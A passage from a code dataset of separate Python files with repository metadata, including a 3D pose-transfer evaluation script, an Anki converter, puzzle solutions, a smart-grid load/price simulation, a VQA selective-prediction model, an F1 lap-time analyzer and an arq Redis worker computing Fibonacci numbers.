\"HUMAN\"\n print(\"#\"*30)\n print(f\"DATASET_TYPE: {DATASET_TYPE}\")\n print(\"#\"*30)\n # input(\"Continue?\")\n # ------------------------------------------- #\n\n if DATASET_TYPE == \"HUMAN\":\n from configs_eval.config_eval_HUMAN import *\n elif DATASET_TYPE == \"MANO\":\n from configs_eval.config_eval_MANO import *\n\n ########################################################################################################################\n ########################################################################################################################\n\n data_dir = f\"{ROOT}/datasets_mix\"\n\n # Extract dataset name\n tmp = exp_name.split('__ON__')\n dataset_name = tmp[-1]\n\n from utils.parsing_utils import get_dataset_type_from_dataset_name\n dataset_type = get_dataset_type_from_dataset_name(dataset_name)\n splits_dir = f\"{cfg.splits_dir}_{dataset_type}\"\n\n labels_json = os.path.join(data_dir, splits_dir, dataset_name, \"labels.json\")\n labels_tpose_json = os.path.join(data_dir, splits_dir, dataset_name, \"labels_tpose.json\")\n\n print(\"Reading from:\")\n print(labels_json)\n print(\"Dataset name:\")\n print(dataset_name)\n print()\n \n train_to_augmented_json = os.path.join(data_dir, splits_dir, dataset_name, \"train_to_augmented.json\")\n\n #######################################################################################################\n # Data\n #######################################################################################################\n with open(labels_json, \"r\") as f:\n labels = json.loads(f.read())\n\n with open(labels_tpose_json, \"r\") as f:\n labels_tpose = json.loads(f.read())\n\n train_to_augmented = None\n if os.path.isfile(train_to_augmented_json):\n with open(train_to_augmented_json, \"r\") as f:\n train_to_augmented = json.loads(f.read())\n\n num_identities = len(labels_tpose)\n num_frames = len(labels)\n\n print()\n print(\"#\"*60)\n print(\"Num identities\", num_identities)\n print(\"Num frames \", num_frames)\n print(\"#\"*60)\n print()\n\n ########################################################################################################################\n ########################################################################################################################\n\n # Pose MLP\n exp_dir = os.path.join(exps_dir, exp_name)\n checkpoint = nnutils.load_checkpoint(exp_dir, checkpoint_epoch) \n\n ########################\n # Shape decoder\n ########################\n shape_decoder = ShapeDecoder(shape_codes_dim, **shape_network_specs).cuda()\n shape_decoder.load_state_dict(checkpoint['model_state_dict_shape_decoder'])\n for param in shape_decoder.parameters():\n param.requires_grad = False\n shape_decoder.eval()\n nnutils.print_num_parameters(shape_decoder)\n\n ########################\n # Pose decoder\n ########################\n if use_se3:\n print()\n print(\"Using SE(3) formulation for the PoseDecoder\")\n pose_decoder = PoseDecoderSE3(\n pose_codes_dim + shape_codes_dim, **pose_network_specs\n ).cuda()\n else:\n print()\n print(\"Using normal (translation) formulation for the PoseDecoder\")\n pose_decoder = PoseDecoder(\n pose_codes_dim + shape_codes_dim, **pose_network_specs\n ).cuda()\n pose_decoder.load_state_dict(checkpoint['model_state_dict_pose_decoder'])\n for param in pose_decoder.parameters():\n param.requires_grad = False\n pose_decoder.eval()\n nnutils.print_num_parameters(pose_decoder)\n \n ########################\n # SHAPE Codes\n ########################\n shape_codes = torch.ones(num_identities, 1, shape_codes_dim).normal_(0, 0.1).cuda()\n \n pretrained_shape_codes = checkpoint['shape_codes'].cuda().detach().clone()\n\n if shape_codes.shape[0] != pretrained_shape_codes.shape[0] and train_to_augmented is not None:\n print(\"Loading shape codes - A\")\n shape_codes = pretrained_shape_codes[list(train_to_augmented.values())].detach().clone()\n if len(shape_codes.shape) == 2:\n shape_codes = shape_codes.unsqueeze(0)\n else:\n print(\"Loading shape codes - B\")\n shape_codes = checkpoint['shape_codes'].cuda().detach().clone()\n \n ##################################################################\n # Use codes from training\n ##################################################################\n\n print()\n print(\"Using pretrained pose codes\")\n print()\n\n pretrained_pose_codes = checkpoint['pose_codes'].cuda().detach().clone()\n\n if pretrained_pose_codes.shape[0] != len(labels):\n raise Exception(\"Number of pose codes != lenght of dataset\")\n\n pose_codes = pretrained_pose_codes\n pose_codes.requires_grad = False\n\n assert pose_codes.shape[1] == 1 and pose_codes.shape[2] == pose_codes_dim\n\n ##################################################################################################################\n ##################################################################################################################\n \n print()\n print()\n print(\"#######################################################################\")\n print(\"Final visualization\")\n print(\"#######################################################################\")\n\n viewer = ViewerRepose(\n labels,\n labels_tpose,\n shape_codes,\n pose_codes,\n out_root_dir,\n num_to_eval=-1,\n dataset_class=\"amass\",\n source_identity=\"KIT_s395\",\n target_identity=\"CMU_s301\",\n source_animation=\"motion037\",\n target_animation=\"motion002\",\n source_sample_id=\"001068\",\n target_sample_id=\"000178\",\n mult=2,\n )\n viewer.run()","repo_name":"pablopalafox/npms","sub_path":"npms/transfer_pose.py","file_name":"transfer_pose.py","file_ext":"py","file_size_in_byte":40841,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"68"} +{"seq_id":"72820531735","text":"import argparse\nimport os\n\nfrom .converter import Deck\n\nparser = argparse.ArgumentParser(prog=\"anki_converter\", description=\"Markdown to Anki-compatible CSV files\")\nparser.add_argument(\"files\", nargs=\"+\", help=\"File(s) to be converted\")\nargs = parser.parse_args()\n\nfor filename in args.files:\n csvname = os.path.splitext(filename)[0]+\".csv\"\n print(f\"Converting {filename} to {csvname}\")\n with open(filename) as f:\n deck = Deck()\n deck.parse(f.read())\n deck.write(csvname)","repo_name":"ydalir/anki-converter","sub_path":"anki_converter/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"14663815791","text":"text = open('input13.txt', 'r')\n\nL = text.readlines()\n\ntext.close()\n\ndeparted = False\n\nbuses = L[1].split(',')\ninteger_buses = []\nN = 1\n\nfor i in buses:\n if i != 'x':\n integer_buses.append(int(i))\n N *= int(i)\n\nx = 0\n\nfor i in range(len(buses)):\n if buses[i] != 'x':\n Ni = N // int(buses[i])\n if i % int(buses[i]) != 0:\n bi = int(buses[i]) - i\n else:\n bi = 0\n product = bi * Ni\n xi = 1\n found = False\n while not found:\n if (Ni * xi) % int(buses[i]) == 1:\n found = True\n else:\n xi += 1\n product *= xi\n x += product\n\n# while not departed:\n# departed = True\n# for i in range(len(buses)):\n# if buses[i] != 'x':\n# if (time + i) % int(buses[i]) != 0:\n# departed = False\n# break\n# time += max(integer_buses)\n# print(time)\n\nprint('The result is', x % N, '\\b.')\n","repo_name":"e-lich/AOC-2020","sub_path":"Day13/day13.2.py","file_name":"day13.2.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"17165174282","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 19 15:51:52 2022\n\n@author: Jit\n\"\"\"\n\nfrom datetime import date\n\n################## using a dictionary\n\nmy_timezones = {\"London\": '15:53:55', \"Tokyo\": '23:53:55', \"New York\": '10:53:55'}\n\ntimezone_input = input(\"What is the name of the timezone you wish to seek: \")\n\n\nprint(my_timezones[timezone_input])\n\n\n################# using a 2d list\n\nnumber_of_timezones = input(\"How many timezones do you wish to enter: \")\n\nlist_timezone = []\n\nindex = 0\n\n#This actually gives the user the choice of which timezones they wish to add times for in their own specified list\n\nfor x in (0, range(int(number_of_timezones))):\n\n timezone_name = input(\"What is the timezone name you wish to enter: \")\n timezone = input(\"What is the time: \") \n\n if index == \"0\":\n list_timezone[0] = [timezone_name, timezone]\n \n else: \n list_timezone.append([timezone_name, timezone])\n \n \n index += 1\n\nprint (\"Here is your specified time zone list: \", list_timezone)\n\nprint(\"Here are the timezones: \", list_timezone)\n\n\n\n ","repo_name":"PjSehra/SoftwareInstituteExample","sub_path":"timezones.py","file_name":"timezones.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36100025047","text":"c=int(input(\"digite la cantidad de veces que se hara el procedimeinto: \"))\nfor i in range(1, c+1):\n def a_power_b(a,b): \n cuadrado=1\n for j in range(1, b+1):\n cuadrado=cuadrado*a\n\n \n return cuadrado\n\n \n try:\n n1=int(input(\"digite el numero: \"))\n if n1==0:\n break\n except ValueError:\n print(\"debe digitar un numero valido, intente de nuevo\")\n break\n\n try:\n p1=int(input(\"digite la potencia: \"))\n except ValueError:\n print(\"debe digitar un numero valido, intente de nuevo\")\n break\n\n nm1=a_power_b(n1, p1)\n print(\"elnumero elevado es igual a: \",nm1)\n \n","repo_name":"julife12/LaboratorioFuncionesRemotoprueba","sub_path":"potencia.py","file_name":"potencia.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"13399801057","text":"\nimport numpy as np\n\ndef simulate_load_price(experiment):\n \"\"\"\n Classifier models for binary prediction, as defined in the sklearn-module.\n\n Args:\n experiment(dict): Experiment dictionary.\n\n Returns:\n dict: Experiment dictionary with additional keys.\n \"\"\"\n T = experiment['N_total']\n N_train = experiment['N_train']\n N_test = experiment['N_test']\n N = experiment['N']\n phi = experiment['city'].values\n epsilon_D = experiment['epsilon_D']\n window = experiment['window']\n L_hat_method = experiment['L_hat_method']\n L_target = experiment['L_target']\n kappa = experiment['kappa']\n goal = experiment['goal']\n attack = experiment['attack']\n\n y = np.zeros((T,1))\n P = np.zeros((T,1))\n L = np.zeros((T,N))\n L_total = np.zeros((T,1))\n Phi_hat = np.zeros((T, 1))\n L_target = np.ones((T,1))*L_target\n\n # Run price and load feedback simulation\n Phi_total = np.sum(phi,axis = 1)[:T]\n L_total[0] = Phi_total[0]\n i = 0\n for t in range(1,T):\n # 1. DEFINE PRICE\n if t > 0: # change to window if using SARIMA forecast!\n # Make Phi forecast.\n Phi_hat[t] = load_forecast(t, Phi_total[:t], L_hat_method, window)\n # Pick load goal.\n L_adjusted = L_target[t] + goal*(L_target[t-1]-L_total[t-1])\n if L_adjusted < 0:\n L_adjusted = 10\n # Set prices.\n P[t] = (L_adjusted/Phi_hat[t])**(1/epsilon_D)\n # 2. DEFINE LOAD\n L[t, :] = kappa*(phi[t, :]*(P[t]**epsilon_D)) + (1 - kappa) * phi[t, :]\n L_total[t] = np.sum(L[t, :])\n\n # Add attack to load on testing set only.\n if t >= N_train:\n L_total[t] = L_total[t] + attack[i]\n y[t] = (attack[i]>0)*1\n i = i + 1\n\n P = P / 100 # convert cents to USD\n\n experiment['Phi_total'] = Phi_total\n experiment['Phi_train'] = Phi_total[:N_train]\n experiment['Phi_test'] = Phi_total[N_train:]\n experiment['Phi_hat'] = Phi_hat\n experiment['L_target'] = L_target\n experiment['L_total'] = L_total\n experiment['L_train'] = L_total[:N_train]\n experiment['L_test'] = L_total[N_train:]\n experiment['attack'] = attack\n experiment['P_total'] = P\n experiment['P_train'] = P[:N_train]\n experiment['P_test'] = P[N_train:]\n experiment['L'] = L # individual home loads\n\n # binary vector classifying attacks\n experiment['y'] = y\n\n return experiment\n\n# Set Phi (base load) 1-step ahead forecast\nfrom statsmodels.tsa.statespace.sarimax import SARIMAX\ndef load_forecast(t, L_total, method, window):\n\n L_hat = 0\n if method == 0: # persistance forecast\n L_hat = float(L_total[-1])\n elif method > 0:\n if t > window:\n if method == 1: # SARIMA\n # print(np.shape(L_total[-1-window:]),t)\n model = SARIMAX(L_total[-1-window:], order=(1,1,1), seasonal_order=(1,1,0,24),\n enforce_invertibility=False,enforce_stationarity=False)\n model_fit = model.fit(disp=False)\n L_hat = model_fit.forecast()\n # else: # SARIMAX\n # # print(t)\n # model = SARIMAX(L_total[-1-window:], exog=P[-1-window:], order=(1,1,1), seasonal_order=(1,1,0,24),\n # enforce_invertibility=False,enforce_stationarity=False)\n # model_fit = model.fit(disp=False)\n # L_hat = model_fit.forecast(exog=P[-1].reshape((1, 1)))\n else:\n L_hat = float(L_total[-1]) # persistance forecast\n\n return L_hat","repo_name":"hatalis/DSM","sub_path":"lehighdsm/simulation/simulate_load_price.py","file_name":"simulate_load_price.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"38056400233","text":"from typing import Dict, Optional\n\nimport torch\nfrom torch import Tensor\n\nfrom mmf.common.registry import registry\nfrom mmf.models.vilbert import ViLBERTForClassification, ViLBERT\n\nfrom reliable_vqa.models.selective_predictors import SelectivePredictor\n\n\nclass CustomViLBERTForClassification(ViLBERTForClassification):\n def __init__(self, config):\n super().__init__(config)\n\n def forward(\n self,\n input_ids: Tensor,\n image_feature: Tensor,\n image_location: Tensor,\n token_type_ids: Optional[Tensor] = None,\n attention_mask: Optional[Tensor] = None,\n image_attention_mask: Optional[Tensor] = None,\n masked_lm_labels: Optional[Tensor] = None,\n image_label: Optional[Tensor] = None,\n image_target: Optional[Tensor] = None,\n next_sentence_label: Optional[Tensor] = None,\n output_all_attention_masks: bool = False,\n ) -> Dict[str, Tensor]:\n\n (\n sequence_output_t,\n sequence_output_v,\n pooled_output_t,\n pooled_output_v,\n attention_weights,\n _encoded_layers_t_output,\n _encoded_layers_v_output,\n ) = self.bert(\n input_ids,\n image_feature,\n image_location,\n token_type_ids,\n attention_mask,\n image_attention_mask,\n output_all_encoded_layers=False,\n output_all_attention_masks=output_all_attention_masks,\n )\n\n output = {}\n\n if not torch.jit.is_scripting() and output_all_attention_masks:\n output[\"attention_weights\"] = attention_weights\n\n if self.fusion_method == \"sum\":\n pooled_output = self.dropout(pooled_output_t + pooled_output_v)\n elif self.fusion_method == \"mul\":\n pooled_output = self.dropout(pooled_output_t * pooled_output_v)\n else:\n raise AssertionError\n\n if self.training_head_type == \"nlvr2\":\n pooled_output = pooled_output.view(-1, pooled_output.size(1) * 2)\n\n output[\"sequence_output_t\"] = sequence_output_t\n output[\"sequence_output_v\"] = sequence_output_v\n output[\"pooled_output\"] = pooled_output\n\n logits = self.classifier(pooled_output)\n reshaped_logits = logits.contiguous().view(-1, self.num_labels)\n output[\"scores\"] = reshaped_logits\n\n return output\n\n\n@registry.register_model(\"select_vilbert\")\nclass SelectViLBERT(ViLBERT):\n def __init__(self, config):\n super().__init__(config)\n\n @classmethod\n def config_path(cls):\n return \"configs/experiments/vilbert/vqa2/select_pred.yaml\"\n\n def build(self):\n self.model = CustomViLBERTForClassification(self.config)\n\n if self.config.get(\"freeze_base\", False):\n for p in self.model.bert.parameters():\n p.requires_grad = False\n\n self._init_selector()\n\n if self.config.get(\"freeze_vqa\", False):\n for p in self.model.classifier.parameters():\n p.requires_grad = False\n\n def _init_selector(self):\n config_attr = \"selector\"\n select_type = self.config[config_attr].type\n feat_size = self.config[\"bi_hidden_size\"]\n num_choices = self.config.num_labels\n self.selector = SelectivePredictor(\n select_type,\n feat_size=feat_size,\n num_answers=num_choices,\n **self.config[config_attr].params\n )\n\n def get_optimizer_parameters(self, config):\n if not self.config.get(\"freeze_vqa\", False):\n params = super().get_optimizer_parameters(config)\n params.append(\n {\"params\": self.selector.parameters()}\n )\n else:\n params = [{\"params\": self.selector.parameters()}]\n\n if hasattr(self.config.selector, \"sel_lr\"):\n params[-1][\"lr\"] = self.config.selector.sel_lr\n\n return params\n\n def forward(self, sample_list):\n params = self.get_image_and_text_features(sample_list)\n # pretraining labels\n params[\"masked_lm_labels\"] = getattr(sample_list, \"lm_label_ids\", None)\n # is_random_next = getattr(sample_list, \"is_correct\", None)\n # TODO(aps): Fix on dataset side\n # params[\"is_random_next\"] = None\n\n # Prepare Mask\n if params[\"image_feature\"] is not None and params[\"image_dim\"] is not None:\n image_mask = torch.arange(\n params[\"image_feature\"].size(-2), device=params[\"image_feature\"].device\n ).expand(*params[\"image_feature\"].size()[:-1])\n if len(params[\"image_dim\"].size()) < len(image_mask.size()):\n params[\"image_dim\"] = params[\"image_dim\"].unsqueeze(-1)\n assert len(params[\"image_dim\"].size()) == len(image_mask.size())\n image_mask = image_mask < params[\"image_dim\"]\n params[\"image_attention_mask\"] = image_mask.long()\n else:\n params[\"image_attention_mask\"] = None\n params.pop(\"image_dim\")\n\n output_dict = self.model(\n params[\"input_ids\"],\n params[\"image_feature\"],\n params[\"image_location\"],\n params[\"token_type_ids\"],\n params[\"attention_mask\"],\n params[\"image_attention_mask\"],\n params[\"masked_lm_labels\"],\n params[\"image_label\"],\n params[\"image_target\"],\n )\n\n if self.config.training_head_type == \"pretraining\":\n loss_key = \"{}/{}\".format(\n sample_list.dataset_name, sample_list.dataset_type\n )\n output_dict[\"losses\"] = {}\n output_dict[\"losses\"][loss_key + \"/masked_lm_loss\"] = output_dict.pop(\n \"masked_lm_loss\"\n )\n output_dict[\"losses\"][loss_key + \"/masked_img_loss\"] = output_dict.pop(\n \"masked_img_loss\"\n )\n # if params[\"is_random_next\"] is not None:\n # output_dict[\"losses\"][loss_key + \"/next_sentence_loss\"]\n # = output_dict.pop(\"next_sentence_loss\")\n\n text_embedding_total = output_dict.pop(\"sequence_output_t\")\n image_embedding_total = output_dict.pop(\"sequence_output_v\")\n pooled_output = output_dict.pop(\"pooled_output\")\n \n selector_output = self.selector(\n output_dict[\"scores\"].detach(),\n image_embedding_total.detach(),\n text_embedding_total.detach(),\n pooled_output.detach(),\n )\n\n output_dict.update(selector_output)\n\n return output_dict\n","repo_name":"facebookresearch/reliable_vqa","sub_path":"models/select_vilbert.py","file_name":"select_vilbert.py","file_ext":"py","file_size_in_byte":6578,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"68"} +{"seq_id":"23145124983","text":"import sys\r\nimport os\r\nfrom SparseArray import SparseArray\r\nfrom collections import Counter\r\nfrom flask import Flask\r\nfrom flask import request\r\n \r\n\r\nserver = Flask(__name__)\r\n\r\n# INPUT_PATH is the environment variable wich is a text file\r\nos.environ['INPUT_PATH'] = 'filename.txt'\r\n# read the environment variable\r\nstring_input = open(os.environ['INPUT_PATH'], 'r')\r\n#split the lines at line boundaries\r\nstrings = string_input.read().splitlines()\r\n\r\n@server.route(\"/\", methods = [\"POST\"])\r\ndef hello():\r\n global SparseArray\r\n data=request.get_json()\r\n v1=data.get('v1','')\r\n v2=data.get('v2','')\r\n v3=data.get('v3','')\r\n print('*****')\r\n#the use of the constructor of the class SparseArray on SparseArray.py \r\n SparseArray = SparseArray(strings,[v1,v2,v3])\r\n#the use of the function matchingStrings denined on the class SparseArray on SparseArray.py \r\n res = SparseArray.matchingStrings(SparseArray)\r\n print(res)\r\n return 'This is our result'\r\n\r\n\r\nif __name__ ==\"__main__\":\r\n server.run(host='0.0.0.0')\r\n","repo_name":"SarahKham/Challenge_Hacker_Rank","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"71802353818","text":"import json\n\nimport pytest\nfrom django.db.models import Q\nfrom django.test import Client\n\nfrom modules.achievements.models import ItemDoneAchievement, UserAchievement, Achievement\nfrom modules.achievements.tests.conftest import compare_without_fields\nfrom tasks.models import Item\nfrom users.models import EndWorker\n\n\n@pytest.mark.django_db\ndef test_achievements_list_view(user1, achievements):\n client = Client()\n client.force_login(user1)\n\n # all achievements list\n response = client.get('/api/v1/achievements/')\n user_achievements = UserAchievement.get_user_achievements(user1)\n expected_data = [\n {\n 'order': achievement.order,\n 'status': achievement.status,\n 'value': achievement.value,\n 'target': achievement.target,\n 'progress': achievement.progress,\n 'exp': achievement.exp,\n 'metadata': achievement.achievement.metadata\n } for achievement in user_achievements\n ]\n\n assert len(expected_data) == len(response.data)\n for received, expected in zip(response.data, expected_data):\n assert compare_without_fields(received, expected, excluded_fields=['id', 'updated'])\n\n # mission achievements list\n mission_id = 1\n user_achievements = UserAchievement.get_user_achievements(\n user1).filter(Q(achievement__mission_id=mission_id) | Q(achievement__task__mission_id=mission_id))\n\n response = client.get('/api/v1/achievements/mission/1/')\n expected_data = [\n {\n 'order': achievement.order,\n 'status': achievement.status,\n 'value': achievement.value,\n 'target': achievement.target,\n 'progress': achievement.progress,\n 'exp': achievement.exp,\n 'metadata': achievement.achievement.metadata\n } for achievement in user_achievements\n ]\n\n assert len(expected_data) == len(response.data)\n\n for received, expected in zip(response.data, expected_data):\n assert compare_without_fields(received, expected, excluded_fields=['id', 'updated'])\n\n # task achievements list\n task_id = 1\n user_achievements = UserAchievement.get_user_achievements(user1).filter(achievement__task_id=task_id)\n\n response = client.get('/api/v1/achievements/task/1/')\n expected_data = [\n {\n 'order': achievement.order,\n 'status': achievement.status,\n 'value': achievement.value,\n 'target': achievement.target,\n 'progress': achievement.progress,\n 'exp': achievement.exp,\n 'metadata': achievement.achievement.metadata\n } for achievement in user_achievements\n ]\n\n assert len(expected_data) == len(response.data)\n\n for received, expected in zip(response.data, expected_data):\n assert compare_without_fields(received, expected, excluded_fields=['id', 'updated'])\n\n\n@pytest.mark.django_db\ndef test_unclosed_achievements_list(user1, achievements):\n client = Client()\n client.force_login(user1)\n\n achievement = ItemDoneAchievement.objects.first()\n UserAchievement.objects.create(user=user1, achievement=achievement)\n\n assert user1.exp == 0\n\n response = client.get('/api/v1/achievements/unclosed/')\n assert len(response.data) == 0\n\n # annotate one item\n item = Item.objects.first()\n payload = {\n 'data': json.dumps({'output': '1'}),\n }\n client.post('/api/v1/items/{0}/annotation/'.format(item.id), payload)\n\n # achievement done\n response = client.get('/api/v1/achievements/unclosed/')\n\n expected_data = [\n {\n 'id': achievement.id,\n 'order': achievement.order,\n 'status': 'CLOSED',\n 'value': 1.0,\n 'target': 1.0,\n 'progress': 1.0,\n 'exp': 10,\n 'metadata': {}\n },\n ]\n\n assert len(response.data) == len(expected_data)\n for received, expected in zip(response.data, expected_data):\n assert compare_without_fields(received, expected, excluded_fields=['id', 'updated'])\n\n user1 = EndWorker.objects.get(id=user1.id)\n assert user1.exp == achievement.exp\n\n # achievement closed\n response = client.get('/api/v1/achievements/unclosed/')\n assert len(response.data) == 0\n","repo_name":"heolin/funcrowd","sub_path":"modules/achievements/tests/integration/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":4265,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"31219531151","text":"\"\"\"\n This is a test project to evaluate which\n f1 history data source to use for our\n AI-Race Strategy Project\n\n author: Alexander Müller\n date: 13.01.2021\n version: 1.0.0\n\n This was created in order of our studies at\n DHBW Ravensburg-Friedrichshafen\n\n\"\"\"\n\n#=====Imports=========================================\nimport fastf1 as ff1\nfrom fastf1 import plotting\nfrom matplotlib import pyplot as plt\nimport prettytable\nimport json\n\nfrom src.f1_data_analyzer_helper import parse_args\n\n#=====Main============================================\nif __name__ == \"__main__\":\n\n args = parse_args()\n\n year = args.year\n race = args.race\n compounds = (\"SOFT\", \"MEDIUM\", \"HARD\")\n\n print(f\"Year: {year}\\tRound: {race} loading\")\n\n # Define the cache to save to\n ff1.Cache.enable_cache(\"cache\")\n\n # Load Session\n session = ff1.get_session(int(year), int(race), \"R\")\n \n # Load the Laps; only accurate ones means no SC / VSC or Red Flags\n laps = session.load_laps().pick_accurate()\n\n\n # Setup output dict\n output_data = {\n \"compound\" : {\n \"driver\" : {\n \"stint\" : {\n \"lap\" : \"data\"\n }\n }\n },\n \"session_info\" : session.weekend.name\n }\n\n\n # Parse the data for every single driver\n for compound in compounds:\n\n # Add dict entry\n output_data[compound] = {}\n\n # Get subset of laps with certain compound\n tyre_set = laps.pick_tyre(compound)\n\n # Now go through every driver of the session and\n # check for their laps with the active compound\n for driver in session.drivers:\n \n driver_data = tyre_set.pick_driver(driver)\n\n # Setup dict\n output_data[compound][driver] = {}\n\n # Generate output\n print(f\"\\n\\nDriver: {driver}\\tCompund: {compound}\")\n\n\n # Now gather all laps per stint to show the evoultion of the\n # laps times over tyre life span\n current_stint = 0\n for lap in driver_data.iterlaps():\n\n # Access all relevant data\n lap = lap[1]\n stint = int(lap[\"Stint\"])\n\n # Check if the Stint has changed\n if current_stint != stint:\n current_stint = stint\n print(f\"=======FRESH TYRES Stint: {current_stint}=======\")\n\n # Setup dict\n if current_stint not in output_data[compound][driver]:\n output_data[compound][driver][current_stint] = {}\n\n # Convert pandas timedetla to laptimes in seconds\n lap_time = float(lap[\"LapTime\"].total_seconds())\n\n print(f\"\"\"{current_stint}\\t{int(lap[\"LapNumber\"])}\\t{lap_time}\"\"\")\n\n # Save data\n output_data[compound][driver][current_stint][int(lap[\"LapNumber\"])] = {\n \"lap_time\" : lap_time\n }\n\n\n\n # Write everything to JSON\n with open(f\"data/{year}/f1_data_{year}_{race}.json\", \"w\") as outfile:\n json.dump(output_data, outfile, indent=4)","repo_name":"mkrft/Neuronales_Netz","sub_path":"prototype/f1_data_analyzer/f1_data_analyzer.py","file_name":"f1_data_analyzer.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"12826443638","text":"# cook your dish here\nt=int(input())\nfor o in range(t):\n n=int(input())\n arr=list(map(int,input().split()))\n string=str(input())\n ans=max(arr)\n for i in range(len(arr)):\n if string[i]=='0':\n ans=min(ans,arr[i])\n print(ans)","repo_name":"Gourav2404/python-Programming","sub_path":"WATESTCASES.py","file_name":"WATESTCASES.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"20289498935","text":"\"\"\"\nWorker.\n\"\"\"\nimport asyncio\nimport pickle\nimport itertools as it\nfrom typing import Optional, TypedDict, Union, Any, Iterator, Dict, cast\nfrom concurrent import futures\nfrom datetime import datetime\n\nimport redis\nfrom arq.connections import ArqRedis\n\nfrom wqw_app.backend import backend\nfrom wqw_app.settings import get_redis_settings\n\nPHI = (1 + 5 ** 0.5) / 2\nPSI = (1 - 5 ** 0.5) / 2\n\n\nclass WorkerContext(TypedDict):\n \"\"\"Context for workers.\"\"\"\n\n redis: ArqRedis\n pool: futures.ProcessPoolExecutor\n job_id: str\n job_try: int\n enqueue_time: datetime\n score: int\n\n\nclass FibonacciTracker:\n \"\"\"Class to track progress of calculating n:th Fibonacci number.\"\"\"\n\n def __init__(self, number: int) -> None:\n assert number > 0\n\n self.number = number\n self.max_iter: int = int(binet(number))\n self.counter: Iterator[int] = it.count(start=2)\n self.progress: float = 0.0\n\n def __getstate__(self) -> Dict[str, Union[int, float]]:\n \"\"\"Called on the pickled state.\"\"\"\n return {\n \"number\": self.number,\n \"max_iter\": self.max_iter,\n \"current_iter\": next(self.counter) - 1,\n \"progress\": self.progress,\n }\n\n def __setstate__(self, state: Dict[str, Union[int, float]]) -> None:\n \"\"\"Called with the unpickled state.\"\"\"\n self.number = cast(int, state[\"number\"])\n self.max_iter = cast(int, state[\"max_iter\"])\n self.counter = it.count(start=cast(int, state[\"current_iter\"]))\n self.progress = cast(float, state[\"progress\"])\n\n def __repr__(self) -> str:\n \"\"\"String representation of class.\"\"\"\n return (\n f\"\"\n )\n\n def countup(self) -> int:\n \"\"\"Update the counter and return the current iteration number.\"\"\"\n current_iter = next(self.counter)\n self.progress = current_iter / self.max_iter\n return current_iter\n\n\ndef binet(number: int) -> int:\n \"\"\"Binet's formula for calculating approximation to n:th Fibonacci number.\"\"\"\n return int((PHI ** number - PSI ** number) / 5 ** 0.5)\n\n\ndef fib(\n number: int,\n ctx: Optional[Dict[str, Any]] = None,\n tracker: Optional[FibonacciTracker] = None,\n redis_client: Optional[redis.Redis] = None,\n) -> int:\n \"\"\"Fibonacci example function\n\n Parameters\n ----------\n number : integer\n Compute the number:th Fibonacci number.\n tracker: Optional[FibonacciTracker], default=None\n Tracker to report progress of the recursive computation.\n\n Returns\n -------\n int: The n-th Fibonacci number\n \"\"\"\n assert number > 0\n\n if ctx is None:\n ctx = {}\n if tracker is None:\n tracker = FibonacciTracker(number=number)\n if redis_client is None:\n redis_client = redis.Redis(\n host=cast(str, backend.redis_settings.host),\n port=backend.redis_settings.port,\n db=backend.redis_settings.database,\n )\n print(tracker, end=\"\\r\")\n\n if number < 3:\n return 1\n\n if tracker.countup() % 10000 == 0:\n redis_client.set(\n f\"arq:track:{ctx['job_id']}\",\n pickle.dumps(\n {\n \"job_id\": ctx[\"job_id\"],\n \"timestamp\": datetime.now().strftime(\"%c\"),\n \"progress\": round(tracker.progress, ndigits=3),\n }\n ),\n )\n print(f\"{tracker}\", end=\"\\r\")\n\n return fib(number - 1, ctx, tracker, redis_client) + fib(\n number - 2, ctx, tracker, redis_client\n )\n\n\nasync def async_fib(ctx: WorkerContext, number: int) -> int:\n \"\"\"Async wrapper around blocking fib function.\"\"\"\n loop = asyncio.get_running_loop()\n return await loop.run_in_executor(\n ctx[\"pool\"], fib, number, {\"job_id\": ctx[\"job_id\"]}\n )\n\n\nasync def startup(ctx: WorkerContext) -> None:\n \"\"\"Startup logic goes here.\"\"\"\n ctx[\"pool\"] = futures.ProcessPoolExecutor()\n\n\nasync def shutdown(ctx: WorkerContext) -> None:\n \"\"\"Startup logic goes here.\"\"\"\n ctx[\"pool\"].shutdown()\n\n\n# pylint: disable=too-few-public-methods\nclass WorkerSettings:\n \"\"\"Settings for the worker.\"\"\"\n\n functions = [async_fib]\n retry_jobs = False\n redis_settings = get_redis_settings()\n allow_abort_jobs = True\n on_startup = startup\n on_shutdown = shutdown\n","repo_name":"ebran/wqw-app","sub_path":"src/wqw_app/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":4425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"5023762322","text":"import joblib\nimport pandas as pd\nfrom imblearn.pipeline import Pipeline\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom imblearn.over_sampling import SMOTE\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import SVC\n\n\nclass Predictor:\n def __init__(self):\n self.rf_pipe = None\n self.df = pd.DataFrame\n 